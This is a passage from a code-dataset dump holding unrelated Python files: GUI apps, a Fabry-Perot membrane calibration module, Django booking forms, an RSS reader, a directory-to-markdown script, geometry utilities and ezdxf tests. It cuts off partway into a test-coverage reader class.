'__main__':\n with OpenDB(config.db_params) as a:\n anecdotes = SqlDBTable(a, config.anecdot_params)\n root = Tk()\n root.protocol(\"WM_DELETE_WINDOW\", close)\n root.geometry(win_geometry)\n root.title(title_string)\n root.resizable(False, False)\n\n # ===================================== Title ===============================================\n\n Tops = Frame(root, width=800, height=50, bg=bg_of_view_area, borderwidth=5)\n Tops.pack(side=TOP)\n lblInfo = Label(Tops, font=title_font, text=title_string, fg=fg_of_view_area)\n lblInfo.grid(row=0, column=0, columnspan=2)\n\n # ===================================== Status =============================================\n\n Status = Frame(root, width=800, height=40, bg=bg_of_view_area, borderwidth=5)\n Status.pack(side=BOTTOM)\n CreationTime = Label(Status, font=info_font, text=\"CreationTime:\", fg=fg_of_view_area)\n CreationTime.grid(row=0, column=700, columnspan=100)\n Votes = Label(Status, font=info_font, text=\"Votes:\", fg=fg_of_view_area)\n Votes.grid(row=0, column=400, columnspan=100)\n Rating = Label(Status, font=info_font, text=\"Rating:\", fg=fg_of_view_area)\n Rating.grid(row=0, column=0, columnspan=100)\n\n # ====================== Clock in the title ===========================================\n\n clock = Label(Tops, font=info_font, fg=fg_of_view_area)\n clock.grid(row=1, column=1)\n tick(clock)\n\n # =================Number of anecdotes in the DB in the title ==============================\n\n qtyInfo = Label(Tops, font=info_font, fg=fg_of_view_area)\n qtyInfo.grid(row=1, column=0, pady=0, padx=1)\n\n # ===================== Menu ============================================================\n panelFrame = Frame(root, height=50, width=800, bg=bg_of_view_area)\n panelFrame.pack(side='top', fill='x')\n editBtn = Button(panelFrame, text='Edit')\n editBtn.place(x=10, y=10, width=40, height=40)\n deleteBtn = Button(panelFrame, text='Delete')\n deleteBtn.place(x=50, y=10, width=40, height=40)\n newBtn = Button(panelFrame, text='New')\n newBtn.place(x=90, y=10, width=40, height=40)\n quitBtn = Button(panelFrame, text='Quit', command=close)\n quitBtn.place(x=130, y=10, width=40, height=40)\n searchWin = Entry(panelFrame, justify=CENTER)\n searchWin.place(x=650, y=10, width=150, height=40)\n searchBtn = Button(panelFrame, text='Search')\n searchBtn.place(x=800, y=10, width=40, height=40)\n checkDbBtn = Button(panelFrame, text='CheckDB')\n checkDbBtn.place(x=550, y=10, width=70, height=40)\n AllBtn = Button(panelFrame, text='All')\n AllBtn.place(x=500, y=10, width=40, height=40)\n root.bind('', close)\n\n # ===================== View area =======================================================\n\n ListBoxChoice(root, anecdotes)\n\n root.mainloop()\n","sub_path":"anecdotes.py","file_name":"anecdotes.py","file_ext":"py","file_size_in_byte":13531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"628597573","text":"# -*- coding:utf-8\n\nimport sys, os\nfrom PyQt4.QtGui import *\nfrom PyQt4.QtCore import *\n\n\nclass fileInfo():\n def __init__(self,o_id,name,size, c_time,m_time,owner):\n self.id = o_id\n self.name = name\n self.size = size\n self.c_time = c_time\n self.m_time = m_time\n self.owner = owner\n\n\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n super(MainWindow, self).__init__()\n self.drawlayout()\n self.setCentralWidget(self.fileList)\n\n\n\n def drawlayout(self):\n self.fileList = QTableWidget(0,5)\n self.fileList.setHorizontalHeaderLabels(QStringList([u\"名称\",u\"大小\",u\"创建时间\",u\"最后修改时间\",u\"创建者\"]))\n self.fileList.setShowGrid(True)\n self.fileList.setEditTriggers(QAbstractItemView.NoEditTriggers)\n self.fileList.setSelectionBehavior(QAbstractItemView.SelectRows)\n hHeader = self.fileList.horizontalHeader()\n hHeader.setHighlightSections(False)\n self.fileList.verticalHeader().hide()\n\n def insertmyrow(self,fileinfo):\n row = self.fileList.rowCount()\n self.fileList.insertRow(row)\n self.fileList.setItem(row,0,QTableWidgetItem(fileinfo.name))\n self.fileList.setItem(row,1,QTableWidgetItem(fileinfo.size))\n self.fileList.setItem(row,2,QTableWidgetItem(fileinfo.c_time))\n self.fileList.setItem(row,3,QTableWidgetItem(fileinfo.m_time))\n self.fileList.setItem(row,4,QTableWidgetItem(fileinfo.owner))\n\n\ndef main():\n app = QApplication(sys.argv)\n win = MainWindow()\n win.show()\n sys.exit(app.exec_())\n\nif __name__ == '__main__':\n main()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"110819444","text":"def dychoose(string:str,List:list):\n print(\"after op: {}\".format(string))\n if len(string)==m: return \n temp0 = string[-num+1:]+'0'\n if temp0 in lists:\n print(\"operate: {}\".format(temp0))\n temp_0 = List.copy()\n temp_0.remove(temp0)\n dychoose(string+'0',temp_0)\n temp1 = string[-num+1:]+'1'\n if temp1 in lists:\n print(\"operate:{}\".format(temp1))\n temp_1 = List.copy()\n temp_1.remove(temp1)\n dychoose(string+'1',temp_1)\n\nnum = int(input())\nm = 2**num\nlists = [bin(i).replace('0b','0'*num)[-num:] for i in range(m)]\nstrs = ''\npossible = list()\nstrs = strs +lists[0]\nlists.pop(0)\ndychoose(strs,lists)\npossible.sort()\nprint(\"{} {}\".format(m,possible[0]))","sub_path":"Code/CodeRecords/2303/60716/286415.py","file_name":"286415.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"580124411","text":"\"\"\"\nContactless Characterisation of Oscillating 2D Material Membranes through\nNon-linear Transduction in Fabry-Perot Interferometry\n\nNumerical Implementation of Calibration Method\n\nWritten by Alex Nunn\n\"\"\"\n\nimport numpy as np\nfrom numpy import *\nfrom scipy.special import jv\nfrom scipy.optimize import minimize, least_squares\nfrom scipy.fftpack import fft\n\n\n\"\"\"Refractive Index Definitions\"\"\"\nn0 = 1\nn1 = 2.6 - 1.3j\nn2 = 1\nn3 = 5.6 - 0.4j\n\n\"\"\"\nIntensity Function Definitions\n\nThe following functions compute complex constants of the intensity function,\nthe intensity function itself and derivatives of the intensity function with\nrespect to the quantities 'p1' and 'p2' which correspond to the symbolic\nquantities $d_1 / \\lambda$ and $d_2 / \\lambda$, respectively.\n\"\"\"\nrform = lambda a, b: (a - b)/(a + b)\nr1, r2, r3 = rform(n0, n1), rform(n1,n2), rform(n2, n3)\n\nc = 2 * pi * n1\nc2 = 2 * pi * n2\n\na1 = lambda d: r1 * exp(1j * c * d) + r2 * exp(-1j * c * d)\na2 = lambda d: r1 * r2 * r3 * exp(1j * c * d) + r3 * exp(-1j * c * d)\na3 = lambda d: exp(1j * c * d) + r1 * r2 * exp(-1j * c * d)\na4 = lambda d: r2 * r3 * exp(1j * c * d) + r1 * r3 * exp(-1j * c * d)\n\na1d = lambda d: 1j * c * (r1 * exp(1j * c * d) - r2 * exp(-1j * c * d))\na2d = lambda d: 1j * c * (r1 * r2 * r3 * exp(1j * c * d) - r3 * exp(-1j * c * d))\na3d = lambda d: 1j * c * (exp(1j * c * d) - r1 * r2 * exp(-1j * c * d))\na4d = lambda d: 1j * c * (r2 * r3 * exp(1j * c * d) - r1 * r3 * exp(-1j * c * d))\n\ndef form(p1, p2, a1, a2):\n \"\"\"Returns a useful algebraic form for computing the intensity function\"\"\"\n return abs(a1(p1)) ** 2 + abs(a2(p1)) ** 2 + 2 * real(a1(p1) * conj(a2(p1)) * exp(2j * c2 * p2))\n\ndef form_deriv_p1(p1, p2, a, ad, b, bd):\n \"\"\"Return symbolic derivative of 'form' with respect to p1\"\"\"\n return 2 * real(conj(a(p1)) * ad(p1) + conj(b(p1)) * bd(p1) + (ad(p1) * conj(b(p1)) + a(p1) * conj(bd(p1))) * exp(2j * c2 * p2))\n\ndef form_deriv_p2(p1, p2, a, b):\n \"\"\"Return symbolic derivative of 'form' with respect to p2\"\"\"\n return 2 * real(2j * c2 * a(p1) * conj(b(p1)) * exp(2j * c2 * p2))\n\ndef f(p1, p2):\n \"\"\"\n Return intensity function of reflected light\n\n The arguments 'p1' and 'p2' correspond to $d_1 /\\lambda$ and $d_2 /\\lambda$\n \"\"\"\n return form(p1, p2, a1, a2) / form(p1, p2, a3, a4)\n\ndef f_deriv_p1(p1, p2):\n \"\"\"Derivative of intensity function with respect to p1\"\"\"\n return (form_deriv_p1(p1, p2, a1, a1d, a2, a2d) * form(p1, p2, a3, a4) - form(p1, p2, a1, a2) * form_deriv_p1(p1, p2, a3, a3d, a4, a4d)) / form(p1, p2, a3, a4) ** 2\n\ndef f_deriv_p2(p1, p2):\n \"\"\"Derivative of intensity function with respect to p2\"\"\"\n return (form_deriv_p2(p1, p2, a1, a2) * form(p1, p2, a3, a4) - form(p1, p2, a1, a2) * form_deriv_p2(p1, p2, a3, a4)) / form(p1, p2, a3, a4) ** 2\n\n\"\"\"\nExact Fourier Series Functions\n\nThe following functions are used to compute the Fourier coefficients in the\nFourier series for the intensity function in terms of $\\phi_2$.\n\"\"\"\ndef series_parameters(p1):\n \"\"\"Return series parameters (c, sigma, d)\"\"\"\n c = (a1(p1) * np.conj(a2(p1)))/ (a3(p1) * np.conj(a4(p1)))\n sigma1 = - np.conj(a3(p1)) / np.conj(a4(p1))\n sigma2 = - a4(p1) / a3(p1)\n d1 = (a2(p1) * np.conj(a1(p1)) + a1(p1) * np.conj(a2(p1)) * sigma1 ** 2 + sigma1 * (np.abs(a1(p1)) ** 2 + np.abs(a2(p1)) ** 2 )) / (np.abs(a4(p1)) ** 2 - np.abs(a3(p1)) ** 2)\n d2 = -(a2(p1) * np.conj(a1(p1)) + a1(p1) * np.conj(a2(p1)) * sigma2 ** 2 + sigma2 * (np.abs(a1(p1)) ** 2 + np.abs(a2(p1)) ** 2 )) / (np.abs(a4(p1)) ** 2 - np.abs(a3(p1)) ** 2)\n\n if np.abs(sigma1) > 1:\n return (c, sigma1, d1)\n else:\n return (c, sigma2, d2)\n\n\ndef fourier_coeff_mag(p1, n):\n \"\"\"\n Return fourier coefficient magnitude\n\n :param p1: parameter $d_1/\\lambda$\n :param n: index of Fourier coefficient magnitude\n \"\"\"\n c, sigma, d = series_parameters(p1)\n if n == 0:\n return np.real(c - d/sigma)\n else:\n return np.abs(2 * d / sigma ** (n+1))\n\n\ndef fourier_coeff_phase(p1, n):\n \"\"\"\n Return fourier coefficient phase\n\n :param p1: paramter $d_1/\\lambda$\n :param n: index of Fourier coefficient magnitude\n \"\"\"\n if n == 0:\n return 0\n else:\n c, sigma, d = series_parameters(p1)\n return np.angle(-d / sigma ** (n + 1))\n\n\"\"\"Analytic Predictors\"\"\"\ndef predictor_delta(p1, a):\n def f(z, b1, b2, a):\n d1 = jv(1, 2 * z) * jv(3, z) - jv(1, z) * jv(3, 2 * z)\n d2 = jv(2, 2 * z) * jv(4, z) - jv(2, z) * jv(4, 2 * z)\n\n term1 = (a[2]* jv(1, z) / a[0] - jv(3, z)) ** 2 + (a[3] * jv(2, z) / a[0] - a[1] * jv(4, z) / a[0]) **2 * (d1 / d2)**2\n term2 = (b2 / b1) ** 2 * ((a[2] * jv(1, 2*z) / a[0] - jv(3, 2*z)) ** 2 + (a[3] * jv(2, 2 * z) / a[0] - a[1] * jv(4, 2 * z) / a[0]) ** 2 * (d1 / d2)**2)\n return term1 / term2 - 1\n\n b1 = fourier_coeff_mag(p1, 1)\n b2 = fourier_coeff_mag(p1, 2)\n\n x0s = [1, 2, 3]\n x_least = np.inf\n for x0 in x0s:\n sol = minimize(f, x0=x0, args=(b1, b2, a,), method='BFGS', options=dict(gtol=1e-8))\n if sol.x[0] > 2e-2 and x_least > sol.x[0]:\n x_least = sol.x[0]\n\n return x_least\n\n\ndef predictor_alpha_delta(p1, a):\n \"\"\"Return prediction of alpha, delta, g using extended analytic method\"\"\"\n # Fourier Series Form Parameters\n phase1 = fourier_coeff_phase(p1, 1)\n phase2 = fourier_coeff_phase(p1, 2)\n b1 = fourier_coeff_mag(p1, 1)\n\n # Predict delta Value\n z = predictor_delta(p1, a)\n delta = z / (4 * np.pi)\n\n # Recurring Forms\n d1 = jv(1, 2 * z) * jv(3, z) - jv(1, z) * jv(3, 2 * z)\n d2 = jv(2, 2 * z) * jv(4, z) - jv(2, z) * jv(4, 2 * z)\n\n alpha = np.abs(np.sqrt(((a[2] / a[0] * jv(1, 2 * z) - jv(3, 2 * z)) / d1)**2 + ((a[3] / a[0] * jv(2, 2 * z) - a[1] / a[0] * jv(4, 2 * z))/ d2) **2) * a[0] / (2* b1))\n\n return alpha, delta\n\n\n\"\"\"Fitting Methods\"\"\"\ndef inverse_scenario1(amps):\n \"\"\"\n Numerical fitting method for unknown thickness\n\n From calibration problem amplitudes the unknown parameters of\n - membrane thickness p1,\n - average position g,\n - oscillation amplitude delta\n - apparatus constant $\\alpha$\n are inferred.\n\n IMPLEMENTATION DETAILS:\n Using the scipy implementation of non-linear least square fitting method\n 'Trust Region Reflective algorithm' we fit the parameter vector x where\n\n x[0] : g\n x[1] : delta\n x[2] : d1\n x[3] : alpha\n \"\"\"\n\n n = 2 ** 5 # number of collocation points for FFT\n m = len(amps) # number of amplitudes used in fitting method\n pts = linspace(0, 2*pi, n, endpoint=False) # collocation points\n cpts = cos(pts) # cosine value at collocation points\n\n mat = np.exp(-2 * np.pi * 1j * np.arange(1, m + 1)[:, np.newaxis] * np.arange(n)/n)\n\n def h(x):\n \"\"\"Returns FFT amplitudes {c_n} for parameter values x\"\"\"\n return 2 / n * x[3] * np.abs(mat @ f(x[2], x[0] + x[1] * cpts))\n\n def h_jac(x):\n \"\"\"Returns jacobian derivative matrix of FFT amplitudes {c_n} w.r.t parameter values x\"\"\"\n jac = np.zeros((len(amps), 4))\n\n v = f(x[2], x[0] + x[1] * cpts)\n v_h = f_deriv_p2(x[2], x[0] + x[1] * cpts)\n v_delta = v_h * cpts\n v_d1 = f_deriv_p1(x[2], x[0] + x[1] * cpts)\n\n c = 2 / n * mat @ v\n c_h = 2 / n * mat @ v_h\n c_delta = 2 / n * mat @ v_delta\n c_d1 = 2 / n * mat @ v_d1\n\n jac[:,0] = x[3] * np.real(c_h * np.conj(c)) / np.abs(c)\n jac[:,1] = x[3] * np.real(c_delta * np.conj(c)) / np.abs(c)\n jac[:,2] = x[3] * np.real(c_d1 * np.conj(c)) / np.abs(c)\n jac[:,3] = np.abs(c)\n return jac\n\n # Definition of cost functions with scaling\n fac = 10 ** 3 * 4 ** np.arange(len(amps))\n cost_mod = lambda x: fac * (h(x) - np.abs(amps))\n h_jac_mod = lambda x: h_jac(x) * fac[:, np.newaxis]\n\n # Non-linear least squares fit\n p1_values = [0.001, 0.003, 0.005, 0.007]\n sols = []\n\n # Find a rough solution\n for p1 in p1_values:\n # Predictors (based on analytic formulae)\n alpha, delta = predictor_alpha_delta(p1, amps)\n\n for g in np.linspace(0, 0.5, 20):\n sol = least_squares(\n cost_mod,\n [g, delta, p1, alpha],\n jac=h_jac_mod,\n bounds=(0, np.inf),\n method='trf',\n max_nfev=200\n )\n sols.append(sol)\n\n # Check similar function points\n best_sol = sorted(sols, key=lambda x: x.cost)[0]\n g_similar = (0.25 - fourier_coeff_phase(p1, 1) / (2 * pi) - best_sol.x[0]) % 0.5\n sol = least_squares(\n cost_mod,\n [g_similar, delta, p1, alpha],\n jac=h_jac_mod,\n bounds=(0, np.inf),\n method='trf',\n max_nfev=200\n )\n sols.append(sol)\n\n # Take best of the solutions\n best_sol_rough = sorted(sols, key=lambda x: x.cost)[0]\n\n # Refine best solution\n best_sol = least_squares(\n cost_mod,\n best_sol_rough.x,\n jac=h_jac_mod,\n bounds=(0, np.inf),\n method='trf',\n gtol=1e-12,\n ftol=1e-12,\n xtol=1e-12\n )\n\n return best_sol\n\n\ndef inverse_scenario2(amps):\n pass\n\n\n\"\"\"Convenience Functions\"\"\"\ndef compute_amps(p1, p2_func):\n \"\"\"\n Returns FFT amplitudes for the time series of intensity function with time varying p2 value\n\n The value of 'p1' is fixed and the time series of 'f(p1, p2_func(t))' is\n computed over the interval t = 0, ..., 2 \\pi. The FFT of the time series is\n then taken and the first 10 amplitudes are returned.\n\n :param p1: value of parameter $d_1 /\\lambda$\n :param p2_func: time varying function of 'p2' parameter value\n\n :return nd.array: length 10, real values\n \"\"\"\n N = 2 ** 8 # number of points in time-series (fixed constant)\n x = np.linspace(0, 2*pi, N, endpoint=False)\n data = 2 / N * fft(f(p1, p2_func(x)))\n amps = np.real( 1/2 *(data[1:11] + data[-1:-11:-1]))\n amps[np.abs(amps) < 1e-12] = 0 # chop small amplitudes\n return np.abs(amps)\n\n\ndef compute_amps_simple_osc(p1, g, delta):\n \"\"\"\n Return FFT amplitudes for the times series of intensity function with simple oscillation in p2 value\n\n :param p1: symbolic parameter $d_1 /\\lambda$\n :param g: average position (corresponds to $g / \\lambda$)\n :param delta: amplitudeo of oscillation (corresponds to $\\delta /\\lambda$)\n\n :return nd.array: length 10, real values\n \"\"\"\n p2_func = lambda x: g + delta * np.cos(x)\n return compute_amps(p1, p2_func)\n\n\ndef rel_error(x, y):\n \"\"\"Return relative error in 'y' if 'x' is the correct value\"\"\"\n try:\n # Cast to numpy arrays\n x_a = np.array(x)\n y_a = np.array(y)\n errors = np.zeros_like(x_a, dtype='float')\n\n # True value is zero\n m = x_a == 0\n errors[m] = np.abs(y_a[m])\n\n # True value is non-zero\n m = x_a != 0\n errors[m] = np.abs((y_a[m] - x_a[m])/ x_a[m])\n return errors\n except IndexError:\n if x == 0:\n return abs(y)\n else:\n return abs((y - x)/ x)\n\n\ndef rel_error_modulo(x, y, mod):\n \"\"\"Return relative error in 'y' if 'x' is the correct value modulo 'mod'\"\"\"\n try:\n cases = np.zeros((2, len(x)))\n cases[0, :] = rel_error(x % mod, y % mod)\n cases[1, :] = rel_error(x % mod, y % mod - mod)\n return np.min(cases, axis=0)\n except TypeError:\n return min(\n rel_error(x % mod, y % mod),\n rel_error(x % mod, y % mod - mod)\n )\n","sub_path":"jupyter_notebooks/calibration/calib.py","file_name":"calib.py","file_ext":"py","file_size_in_byte":11577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"260875279","text":"from django import forms\nfrom apps.solicitud.models import Solicitud, Practica\nfrom datetime import datetime, date\n\nTIPOS_USO = (\n ('Practica', 'Practica'),\n ('Proyecto', 'Proyecto'),\n ('Clase', 'Clase'),\n ('Curso', 'Curso'),\n)\nTIPOS_USO2 = (\n ('Practica', 'Practica'),\n ('Proyecto', 'Proyecto'),\n)\nHORAS_INICIO = (\n ('7:00','7:00'),('8:00','8:00'),('9:00','9:00'),('10:00','10:00'),\n ('11:00','11:00'),('12:00','12:00'),('13:00','13:00'),\n ('14:00','14:00'),('15:00','15:00'),('16:00','16:00'),\n ('17:00','17:00'),('18:00','18:00'),('19:00','19:00'),\n ('20:00','20:00'),\n)\nHORAS_FIN = (\n ('8:00','8:00'),('9:00','9:00'),('10:00','10:00'),\n ('11:00','11:00'),('12:00','12:00'),('13:00','13:00'),\n ('14:00','14:00'),('15:00','15:00'),('16:00','16:00'),\n ('17:00','17:00'),('18:00','18:00'),('19:00','19:00'),\n ('20:00','20:00'),('21:00','21:00'),\n)\nclass SolicitudEvaluarForm(forms.ModelForm):\n class Meta:\n model = Solicitud\n fields = ['observaciones']\n labels = {\n 'observaciones':'Comentarios',\n }\n widgets = {\n 'observaciones' : forms.Textarea(attrs={'class':'form-control form-control-sm textS'}),\n }\n\nclass SolicitudForm(forms.ModelForm):\n def clean_date(self):\n date = self.cleaned_data['fecha_requerida']\n if date < date.today():\n raise forms.ValidationError((\"Error: la fecha no puede ser pasada\"), code='fecha_pasado')\n return date\n\n def clean_time(self):\n cleaned_data = super().clean()\n fecha = cleaned_data.get('fecha_requerida')\n hora_ini = cleaned_data.get('hora_inicio')\n hora_fn = cleaned_data.get('hora_fin')\n ahora = datetime.now()\n print(\" hora inicio \" + str(hora_ini) + \"hora fin: \" + str(hora_fn))\n if hora_ini > hora_fn:\n raise forms.ValidationError((\"Error: La hora de fin debe ser posterior a la de inicio\"), code='fecha_pasado')\n #si para ese dia,y se pide una hora ya atrasada\n if hora_ini < ahora.time() and fecha == date.today():\n raise forms.ValidationError((\"Error: La hora seleccionada ya pasó\"), code='fecha_pasado')\n\n\n class Meta:\n model = Solicitud\n\n fields = [\n 'fecha_requerida',\n 'hora_inicio',\n 'hora_fin',\n 'uso',\n 'observaciones',\n ]\n\n labels = {\n 'fecha_requerida': 'Fecha:',\n 'hora_inicio' : 'Hora de inicio:',\n 'hora_fin' : 'Hora de fin:',\n 'uso' : 'Descripción de uso',\n 'observaciones':'Comentarios',\n }\n\n widgets = {\n 'fecha_requerida' : forms.DateInput(attrs={'class':'form-control form-control-sm textS', 'type':'date', 'format':'%d-%m-%Y'}),\n 'hora_inicio' : forms.Select(choices=HORAS_INICIO,attrs={'class':'form-control form-control-sm textS','format':'%H:%M'}),\n 'hora_fin' : forms.Select(choices=HORAS_FIN,attrs={'class':'form-control form-control-sm textS','format':'%H:%M'}),\n 'uso': forms.Select(choices=TIPOS_USO, attrs={'class':'form-control form-control-sm textS'}),\n 'observaciones' : forms.Textarea(attrs={'class':'form-control form-control-sm textS', 'style':'height:12em;'}),\n }\n\nclass SolicitudForm2(SolicitudForm):\n class Meta(SolicitudForm.Meta):\n widgets = {\n 'fecha_requerida' : forms.DateInput(attrs={'class':'form-control form-control-sm textS', 'type':'date', 'format':'%d-%m-%Y'}),\n 'hora_inicio' : forms.Select(choices=HORAS_INICIO,attrs={'class':'form-control form-control-sm textS','format':'%H:%M'}),\n 'hora_fin' : forms.Select(choices=HORAS_FIN,attrs={'class':'form-control form-control-sm textS','format':'%H:%M'}),\n 'uso': forms.Select(choices=TIPOS_USO2, attrs={'class':'form-control form-control-sm textS'}),\n 'observaciones' : forms.Textarea(attrs={'class':'form-control form-control-sm textS', 'style':'height:12em;'}),\n }\n\nclass PracticaForm(forms.ModelForm):\n class Meta:\n fields = '__all__'\n model = Practica\n labels = {\n 'nombre':'Nombre de la practica',\n 'lista_material':'Material necesario',\n }\n widgets = {\n 'nombre' : forms.TextInput(attrs={'class':'form-control form-control-sm textS'}),\n 'lista_material' : forms.Textarea(attrs={'class':'form-control form-control-sm textS'}),\n }\n","sub_path":"apps/solicitud/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"64035748","text":"from xml.dom import minidom\nimport re\nimport urllib.request\n\n# get XML RSS feed\nresponse = urllib.request.urlopen(\"http://www.dhs.sg/rss/what%2527s-new%3F-19.xml\")\nxml = response.read()\n\n# get all XML as a string\nxml_data = minidom.parseString(xml).getElementsByTagName('channel')\n\n# get all items\nparts = xml_data[0].getElementsByTagName('item')\n\n# loop all items\nfor part in parts:\n # get title\n title = part.getElementsByTagName('title')[0].firstChild.nodeValue.strip()\n # get link\n link = part.getElementsByTagName('link')[0].firstChild.nodeValue.strip()\n # get description\n description = part.getElementsByTagName('description')[0].firstChild.wholeText.strip()\n description = re.sub(\"<[^>]*>\", \"\", description)\n description = description[:-10]\n # display info\n print(\"\\n\".join([title, link, description, \"\"]))\n","sub_path":"demopy3_xmlrssurllib.py","file_name":"demopy3_xmlrssurllib.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"71165795","text":"# coding=utf-8\nimport os\nimport ConfigParser\n\ncf = ConfigParser.ConfigParser()\n\n#基础设置\ndeep =10 #探索的深度\nfilename_filter=[]\ndef getallfile(path,f,level,high):\n\thigh=high-1\n\tif high<0:\n\t\treturn\n\tallfilelist=os.listdir(path)\n\n\tfilelist=[]\n\tdirlist=[]\n\tpathlist=[]\n\tlen_dirlist=0\n\t# 遍历该文件夹下的所有目录或者文件\n\tfor file in allfilelist:\n\t\tfilepath=os.path.join(path,file)\n\t\tif os.path.isdir(filepath):\n\t\t\tif file in filename_filter:\n\t\t\t\tcontinue\n\t\t\tlen_dirlist=len_dirlist+1\n\t\t\tdirlist.append(level+file+'\\n')\n\t\t\tpathlist.append(filepath)\n\t\telse:\n\t\t\tif(os.path.splitext(file)[-1]!=''):\n\t\t\t\tfilelist.append(file+\" : \\n\")\n\tfor filename in filelist:\n\t\tf.write(filename.encode('utf-8'))\n\tfor i in range(len_dirlist):\n\t\tf.write(dirlist[i].encode('utf-8'))\n\t\tf.write('`文件夹说明` : \\n')\n\t\tgetallfile(pathlist[i],f,level+\"#\",high)\n\nif __name__ == \"__main__\":\n\t# java工程分析\n \troot_path=os.path.dirname(os.path.abspath(__file__)) # 表示当前所处的文件夹的绝对路径\n \t# 读取配置属性\n \tcf.read(root_path+'/config.conf')\n \trootdir=cf.get(\"base\",\"rootdir\").decode('utf-8')\n \tresultdir=cf.get(\"base\",\"result\")\n \tdeep=cf.getint(\"base\",\"deep\")\n \tfilename_filter=cf.get(\"base\",\"filter\").split(',')\n \tfirst_level=cf.getint(\"base\",\"first_level\")\n\n \t# 开始工作\n \tf=open(root_path+resultdir, 'a')\n \tf.seek(0)\n \tf.truncate() #清空文件\n \tgetallfile(rootdir,f,first_level*'#',deep)\n \tf.close()","sub_path":"python/filesstomd/FilesToMD.py","file_name":"FilesToMD.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"596457452","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# geometry.py\n# \n# Copyright 2015 farminf \n# \n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n# \n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n# \n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA.\n# \n# \n\nimport numpy as np\nimport math\n\ndef rotation_matrix(axis, theta):\n \"\"\"\n Return the rotation matrix associated with counterclockwise rotation \n about\n the given axis by theta radians.\n \"\"\"\n axis = np.asarray(axis)\n theta = np.asarray(theta)\n axis = axis/math.sqrt(np.dot(axis, axis))\n a = math.cos(theta/2)\n b, c, d = -axis*math.sin(theta/2)\n aa, bb, cc, dd = a*a, b*b, c*c, d*d\n bc, ad, ac, ab, bd, cd = b*c, a*d, a*c, a*b, b*d, c*d\n return np.array([[aa+bb-cc-dd, 2*(bc+ad), 2*(bd-ac)],\n [2*(bc-ad), aa+cc-bb-dd, 2*(cd+ab)],\n [2*(bd+ac), 2*(cd-ab), aa+dd-bb-cc]])\n\n\n\n\ndef move_fragment (molecule, delta, window):\n\t\"\"\" Function doc \"\"\"\n\t\n\tfor residue in molecule.residues[window[0]:window[1]]:\n\t\tfor atom in residue.atoms:\n\t\t\tatom.coordinates += delta\n\t\n\t\n\ndef rotate_Calpha_dihedral (molecule, axis, theta, window):\n\t\"\"\" Function doc \"\"\"\n\t#v = [3, 5, 0]\n\t#axis = [4, 4, 1]\n\t#theta = 1.2 \n\n\t#print(np.dot(rotation_matrix(axis,theta), v)) \n\tfor residue in molecule.residues[window[0]:window[1]]:\n\t\tfor atom in residue.atoms:\n\t\t\tatom.coordinates = np.dot(\n\t\t\t\trotation_matrix(axis,theta), \n\t\t\t\tatom.coordinates\n\t\t\t)\n\t\t\t\n\t\t\t\ndef main():\n\t\n\treturn 0\n\nif __name__ == '__main__':\n\tmain()\n\n","sub_path":"mcarlo/structure/geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"161681608","text":"# Copyright (c) 2018 Manfred Moitzi\n# License: MIT License\nimport pytest\nimport ezdxf\n\n\n@pytest.fixture(scope='module')\ndef dwg():\n return ezdxf.new('R2007')\n\n\ndef test_is_registered():\n from ezdxf.lldxf import loader\n assert loader.is_registered('FIELDLIST', legacy=False)\n\n\ndef test_generic_field_list(dwg):\n field_list = dwg.objects.create_new_dxf_entity('FIELDLIST', {})\n assert field_list.dxftype() == 'FIELDLIST'\n assert len(field_list.handles) == 0\n\n\ndef test_set_get_field_list(dwg):\n field_list = dwg.objects.create_new_dxf_entity('FIELDLIST', {})\n assert field_list.dxftype() == 'FIELDLIST'\n field_list.handles = ['FF', 'EE', 'DD']\n handles = field_list.handles\n assert len(handles) == 3\n assert handles == ['FF', 'EE', 'DD']\n\n handles.append('FFFF')\n assert handles[-1] == 'FFFF'\n\n\ndef test_magic_methods(dwg):\n field_list = dwg.objects.create_new_dxf_entity('FIELDLIST', {})\n field_list.handles = ['FF', 'EE', 'DD', 'CC']\n handles = field_list.handles\n assert len(handles) == 4\n assert handles[1] == 'EE'\n\n handles[1] = 'ABCD'\n assert handles[1] == 'ABCD'\n\n del handles[1:3]\n assert handles[:] == ['FF', 'CC']\n\n handles[1:1] = ['EE', 'DD']\n assert handles == ['FF', 'EE', 'DD', 'CC']\n assert handles[1:3] == ['EE', 'DD']\n","sub_path":"tests/test_modern_structures/test_fieldlist.py","file_name":"test_fieldlist.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"481324358","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 20 22:41:12 2018\n\n@author: allen\n\"\"\"\n\nfrom collections import Counter\n\nclass ProbReader(): \n 'the class to read the raw data of the test case data, including the test case coverage, fault information, etc.'\n \n testToFaultcaseMap={}\n testToStmtcaseMap={}\n testSuiteSize = 0\n fauktSetSize = 0\n stmtSetSize = 0\n 